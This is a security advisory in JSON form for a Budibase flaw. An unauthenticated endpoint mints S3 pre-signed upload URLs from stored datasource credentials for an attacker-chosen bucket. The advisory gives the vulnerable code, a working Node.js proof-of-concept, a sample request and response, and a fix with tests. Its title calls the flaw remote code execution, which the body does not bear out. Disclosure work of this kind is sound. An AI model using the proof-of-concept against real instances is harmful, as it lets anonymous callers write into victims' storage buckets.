CVE-2026-50137: Budibase Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-35c4-rvc8-frhm",
  "modified" : "2026-07-21T15:04:50Z",
  "published" : "2026-06-22T23:19:26Z",
  "aliases" : [ "CVE-2026-50137" ],
  "summary" : "Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials",
  "details" : "## Summary\n\nThe Budibase server route `POST /api/attachments/:datasourceId/url` ([`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts)) is registered with **only** the `recaptcha` middleware. There is no `authorized(...)` middleware in the chain. The controller (`packages/server/src/api/controllers/static/index.ts::getSignedUploadURL`) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored `accessKeyId` / `secretAccessKey`, and returns an AWS Signature V4 pre-signed `PutObjectCommand` URL for the caller-supplied `bucket` and `key`. The `bucket` is not pinned to the datasource's configured bucket.\n\nThe workspace context required by `sdk.datasources.get` is sourced by `getWorkspaceIdFromCtx` ([`packages/backend-core/src/utils/utils.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/backend-core/src/utils/utils.ts)) from any of: the `x-budibase-app-id` header, the JSON body `appId`, a path segment that begins with the workspace prefix, or `?appId=`. `auth.buildAuthMiddleware([], { publicAllowed: true })` runs before any of this and explicitly allows anonymous requests. The `currentWorkspace` middleware's \"deny access to dev preview\" branch only triggers under `isBrowser(ctx) && !isApiKey(ctx)`; `isBrowser` checks the parsed `User-Agent` for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.\n\nNet effect: an anonymous attacker who knows or can enumerate a workspace id (`app_...`) and an S3-source datasource id (`ds_...`) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the `publicUrl` so the attacker knows exactly where their PUT lands. Because `bucket` is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.\n\n## Affected code\n\n[`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts) at HEAD `56d2a984` (`master`, 2026-05-18):\n\n```ts\nimport { permissions } from \"@budibase/backend-core\"\nimport Router from \"@koa/router\"\nimport { authorizedMiddleware as authorized } from \"../../middleware/authorized\"\nimport recaptcha from \"../../middleware/recaptcha\"\nimport { paramResource } from \"../../middleware/resourceId\"\nimport * as controller from \"../controllers/static\"\n\nconst { BUILDER, PermissionType, PermissionLevel } = permissions\n\nconst router: Router = new Router()\n// ...\nrouter\n  .post(\"/api/attachments/process\", authorized(BUILDER), controller.uploadFile)\n  .post(\"/api/pwa/process-zip\", authorized(BUILDER), controller.processPWAZip)\n  .post(\n    \"/api/attachments/:tableId/upload\",\n    recaptcha,\n    paramResource(\"tableId\"),\n    authorized(PermissionType.TABLE, PermissionLevel.WRITE),\n    controller.uploadFile\n  )\n  // ...\n  .post(\n    \"/api/attachments/:datasourceId/url\",\n    recaptcha,\n    controller.getSignedUploadURL                       // <- no authorized(...)\n  )\n```\n\nNote the asymmetry: every other mutating endpoint on this router carries an `authorized(...)` middleware. The signed-URL endpoint does not.\n\n[`packages/server/src/api/controllers/static/index.ts:595-645`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts#L595-L645):\n\n```ts\nexport const getSignedUploadURL = async function (ctx) {\n  let datasource\n  try {\n    const { datasourceId } = ctx.params\n    datasource = await sdk.datasources.get(datasourceId, { enriched: true })\n    if (!datasource) {\n      ctx.throw(400, \"The specified datasource could not be found\")\n    }\n  } catch (error) {\n    ctx.throw(400, \"The specified datasource could not be found\")\n  }\n\n  let signedUrl, publicUrl\n  const awsRegion = (datasource?.config?.region || \"eu-west-1\") as string\n  if (datasource?.source === \"S3\") {\n    const { bucket, key } = ctx.request.body || {}\n    if (!bucket || !key) {\n      ctx.throw(400, \"bucket and key values are required\")\n    }\n    try {\n      let endpoint = datasource?.config?.endpoint\n      if (endpoint && !utils.urlHasProtocol(endpoint)) {\n        endpoint = `https://${endpoint}`\n      }\n      const s3 = new S3({\n        region: awsRegion,\n        endpoint,\n        credentials: {\n          accessKeyId: datasource?.config?.accessKeyId as string,\n          secretAccessKey: datasource?.config?.secretAccessKey as string,\n        },\n      })\n      const params = { Bucket: bucket, Key: key }\n      signedUrl = await getSignedUrl(s3, new PutObjectCommand(params))\n      if (endpoint) {\n        publicUrl = `${endpoint}/${bucket}/${key}`\n      } else {\n        publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}`\n      }\n    } catch (error: any) {\n      ctx.throw(400, error)\n    }\n  }\n\n  ctx.body = { signedUrl, publicUrl }\n}\n```\n\n`sdk.datasources.get(datasourceId, { enriched: true })` ([`packages/server/src/sdk/workspace/datasources/datasources.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/sdk/workspace/datasources/datasources.ts)) does the workspace DB read and **also** substitutes `{{ env.* }}` references in the config via `processObjectSync`, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built.\n\n`recaptcha` ([`packages/server/src/middleware/recaptcha.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/middleware/recaptcha.ts)) short-circuits to `next()` whenever the workspace either is not a production workspace or does not have `features.recaptchaEnabled = true` on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the `x-budibase-type: builder` header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops.\n\n## Reproduction\n\nProof-of-concept Node.js script (no AWS SDK dependency, no external libraries):\n\n```js\n#!/usr/bin/env node\n// PoC: Unauthenticated S3 signed-upload-URL minting in Budibase\n// usage: node poc.js <budibase-base-url> <app-id> <datasource-id>\n\n\"use strict\"\nconst http = require(\"http\")\nconst https = require(\"https\")\nconst { URL } = require(\"url\")\n\nfunction postJson(targetUrl, headers, body) {\n  return new Promise((resolve, reject) => {\n    const u = new URL(targetUrl)\n    const lib = u.protocol === \"https:\" ? https : http\n    const payload = Buffer.from(JSON.stringify(body), \"utf8\")\n    const req = lib.request(\n      {\n        method: \"POST\",\n        protocol: u.protocol,\n        hostname: u.hostname,\n        port: u.port || (u.protocol === \"https:\" ? 443 : 80),\n        path: u.pathname + u.search,\n        headers: Object.assign(\n          {\n            \"Content-Type\": \"application/json\",\n            \"Content-Length\": payload.length,\n            // Deliberately not a recognised browser UA so the\n            // currentWorkspace dev-preview redirect does not fire.\n            \"User-Agent\": \"budibase-poc/1.0\",\n          },\n          headers || {}\n        ),\n      },\n      res => {\n        const chunks = []\n        res.on(\"data\", c => chunks.push(c))\n        res.on(\"end\", () =>\n          resolve({\n            status: res.statusCode,\n            body: Buffer.concat(chunks).toString(\"utf8\"),\n          })\n        )\n      }\n    )\n    req.on(\"error\", reject)\n    req.write(payload)\n    req.end()\n  })\n}\n\nasync function main() {\n  const [baseUrl, appId, datasourceId] = process.argv.slice(2)\n  if (!baseUrl || !appId || !datasourceId) {\n    console.error(\"usage: node poc.js <baseUrl> <appId> <datasourceId>\")\n    process.exit(2)\n  }\n  const bucket = process.env.POC_BUCKET || \"attacker-chosen-bucket\"\n  const key = process.env.POC_KEY || `pwn/${Date.now()}.html`\n  const url = baseUrl.replace(/\\/$/, \"\") +\n    `/api/attachments/${encodeURIComponent(datasourceId)}/url`\n  const resp = await postJson(\n    url,\n    { \"x-budibase-app-id\": appId },\n    { bucket, key }\n  )\n  console.log(`HTTP ${resp.status}`)\n  console.log(resp.body)\n}\n\nmain().catch(err => {\n  console.error(err)\n  process.exit(1)\n})\n```\n\nWire-level request:\n\n```\nPOST /api/attachments/ds_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1\nHost: budibase.example:10000\nx-budibase-app-id: app_dev_yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy\nContent-Type: application/json\nUser-Agent: budibase-poc/1.0\nContent-Length: 36\n\n{\"bucket\":\"victim-bucket\",\"key\":\"x.html\"}\n```\n\nResponse:\n\n```\nHTTP/1.1 200 OK\nContent-Type: application/json\n\n{\n  \"signedUrl\": \"https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...%2F20260519%2Feu-west-1%2Fs3%2Faws4_request&X-Amz-Date=20260519T120000Z&X-Amz-Expires=900&X-Amz-Signature=...&X-Amz-SignedHeaders=host&x-id=PutObject\",\n  \"publicUrl\": \"https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html\"\n}\n```\n\nThe attacker then PUTs arbitrary bytes to `signedUrl` and they land at `publicUrl`, signed by — and IAM-scoped to — the victim's stored S3 credentials.\n\nThe existing test that exercises the endpoint, [`packages/server/src/api/routes/tests/static.spec.ts:123-146`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts#L123-L146), sends the same request with `config.defaultHeaders()` (a builder auth cookie). That confirms the request shape; no negative-auth test (`.set({})` or `publicHeaders()`) exists for this route, which is how the missing `authorized(...)` slipped past code review.\n\n## Impact\n\n- **Confidentiality / Integrity**: any anonymous internet user can write arbitrary objects to any bucket the configured IAM credentials can write to. The `bucket` parameter is attacker-controlled, so the blast radius is the full IAM policy attached to the credential, not just the bucket the operator wired into the datasource. Typical realistic outcomes: planting HTML/JS that the bucket serves at a known path (the response gives back `publicUrl`), overwriting an existing key the application later reads back as trusted data, racking up S3 storage / PUT cost.\n- **Availability**: storage / cost exhaustion. Repeated PUTs of large objects to attacker-chosen keys cost the victim.\n- **Authorization scope leak**: the endpoint discloses (a) whether a given `datasourceId` exists and is S3-typed (200 vs 400 'not found'), and (b) the resolved `publicUrl` which includes the region.\n\nNo MFA / OAuth / per-user check exists between the request and the issued pre-signed URL. The credentials are not returned in plaintext, but the pre-signed URL is functionally equivalent to a 15-minute capability to PUT to the chosen `bucket`/`key`.\n\n## Suggested fix\n\nAttach `authorized(PermissionType.TABLE, PermissionLevel.WRITE)` (or a higher gate, e.g. `BUILDER`, depending on intended audience) to the route, mirroring the sibling `/api/attachments/:tableId/upload` registration. Additionally, validate that the requested `bucket` matches `datasource.config.bucket` so the IAM blast radius is reduced to the configured bucket only.\n\nMinimal patch shape:\n\n```ts\n.post(\n  \"/api/attachments/:datasourceId/url\",\n  recaptcha,\n  paramResource(\"datasourceId\"),\n  authorized(PermissionType.TABLE, PermissionLevel.WRITE),\n  controller.getSignedUploadURL\n)\n```\n\nAnd in the controller, before calling `getSignedUrl`:\n\n```ts\nconst configuredBucket = datasource?.config?.bucket\nif (configuredBucket && bucket !== configuredBucket) {\n  ctx.throw(400, \"bucket does not match configured datasource bucket\")\n}\n```\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`).\n\n\n\n## Fix PR\n\nA candidate fix has been prepared on the temporary private fork that was created from this advisory:\n\n- PR: https://github.com/Budibase/budibase-ghsa-35c4-rvc8-frhm/pull/1\n- Branch: `fix/attachment-url-auth-and-bucket-pin`\n- Commit: `Require builder auth and pin bucket on POST /api/attachments/:datasourceId/url`\n\nThe patch is the canonical two-part fix:\n\n1. Attach `authorized(BUILDER)` to `POST /api/attachments/:datasourceId/url` on [`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts), mirroring the surrounding `POST /api/attachments/process` and `POST /api/pwa/process-zip` registrations. Anonymous callers now receive 401 regardless of whether the `recaptcha` middleware fails open.\n2. Pin `Bucket` to `datasource.config.bucket` inside `getSignedUploadURL` ([`packages/server/src/api/controllers/static/index.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts)) and ignore any `bucket` value supplied in the request body. If the datasource has no bucket configured, the route now returns 400 instead of issuing an unbounded pre-signed URL.\n\nTwo regression tests are added in [`packages/server/src/api/routes/tests/static.spec.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts):\n\n- `should reject unauthenticated callers` (anonymous request with `config.publicHeaders()` now returns 401, was 200 before).\n- `should ignore a client-supplied bucket and pin to the datasource's configured bucket` (authenticated request with body `{ bucket: \"other-bucket\", key: \"bar\" }` returns a signed URL bound to `foo.s3.eu-west-1.amazonaws.com/bar`, not `other-bucket`).\n\nTest run on the patch (Jest, `packages/server`):\n\n```\nPASS src/api/routes/tests/static.spec.ts\n  /static\n    /attachments\n      generateSignedUrls\n        v should be able to generate a signed upload URL\n        v should reject unauthenticated callers\n        v should ignore a client-supplied bucket and pin to the datasource's configured bucket\n        v should reject when the datasource has no configured bucket\n        v should handle an invalid datasource ID\n        v should require a key parameter\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.39.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-35c4-rvc8-frhm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-50137"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-22T23:19:26Z",
    "nvd_published_at" : "2026-06-26T21:16:34Z"
  }
}